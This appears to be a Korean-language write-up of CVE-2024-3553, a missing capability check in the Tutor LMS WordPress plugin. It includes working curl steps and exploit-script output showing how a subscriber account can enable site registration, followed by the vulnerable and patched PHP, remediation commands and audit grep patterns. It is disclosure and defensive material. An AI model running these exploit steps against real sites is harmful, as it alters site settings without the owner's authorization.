# 구독자 또는 인증된 사용자로 로그인
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
  https://target.com/wp-login.php

# 인증된 모든 사용자는 /wp-admin/에 접근할 수 있습니다 (구독자도 포함)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1

# 사용자 등록을 활성화하는 요청 전송
curl -b cookies.txt \
  "https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"

# 등록이 활성화되었는지 확인
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "등록 활성화됨" || echo "등록 비활성화됨"

# 인증된 모든 사용자는 다음을 방문하기만 하면 됩니다:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>

======================================================================
CVE-2024-3553 익스플로잇 - Tutor LMS 인증 누락
대상: https://target.com
======================================================================

[*] 현재 등록 상태 확인 중...
[+] 등록이 현재 비활성화됨

[*] 구독자로 로그인 시도 중...
[+] 구독자로 로그인 성공

[*] 2단계: 관리자 영역에서 nonce 추출 중...
[+] nonce 발견: abc123def456

[*] 3단계: 사용자 등록 활성화를 위한 익스플로잇 실행 중...
[*] 대상: https://target.com
[*] 사용 중인 nonce: abc123def456
[*] 익스플로잇 URL: https://target.com/wp-admin/index.php
[*] 매개변수: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] 응답 상태: 200
[+] 익스플로잇 요청 성공!

[*] 4단계: 익스플로잇 성공 확인 중...
[+] 등록이 현재 활성화됨

======================================================================
[!] 익스플로잇 성공!
[!] 사용자 등록이 이제 활성화되었습니다
[!]
[!] 영향: 낮은 권한의 계정(구독자)을 가진 공격자가
[!] 비활성화된 사이트에서 사용자 등록을 활성화할 수 있었습니다.
[!] 이는 추가 계정 생성으로 이어져 스팸이나 무단 접근으로
[!] 이어질 수 있습니다.
======================================================================

public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // 핵심 결함: is_admin()은 관리자 영역인지만 확인할 뿐, 사용자 역할은 확인하지 않습니다!
    if ( is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            // 기능 검사 없음 - 모든 인증된 사용자가 실행 가능!
            update_option( 'users_can_register', 1 );
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // 보안 수정: 기능 검사 추가
    $has_manage_cap = current_user_can( 'manage_options' );

    if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            update_option( 'users_can_register', 1 );  // 이제 적절히 보호됨
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

if ( is_admin() ) {
    // "사용자가 관리자"라고 생각함
    update_option( 'sensitive_option', $value );
}

if ( current_user_can( 'manage_options' ) ) {
    // 실제로 사용자에게 관리자 기능이 있는지 확인
    update_option( 'sensitive_option', $value );
}

# WP-CLI를 통해
wp plugin update tutor --version=2.7.0

# WordPress 관리자를 통해
대시보드 → 플러그인 → "Tutor LMS" 찾기 → "지금 업데이트" 클릭

# 등록 설정이 최근에 수정되었는지 확인
wp option get users_can_register

# 최근 사용자 등록 검토
wp user list --orderby=registered --order=DESC --number=20

# 1. 기능 검사 없이 is_admin()을 검색
grep -r "is_admin()" . | grep -v "current_user_can"

# 2. 직접 옵션 업데이트 찾기
grep -r "update_option\|add_option" .

# 3. 기능 검사 없는 AJAX 핸들러 찾기
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"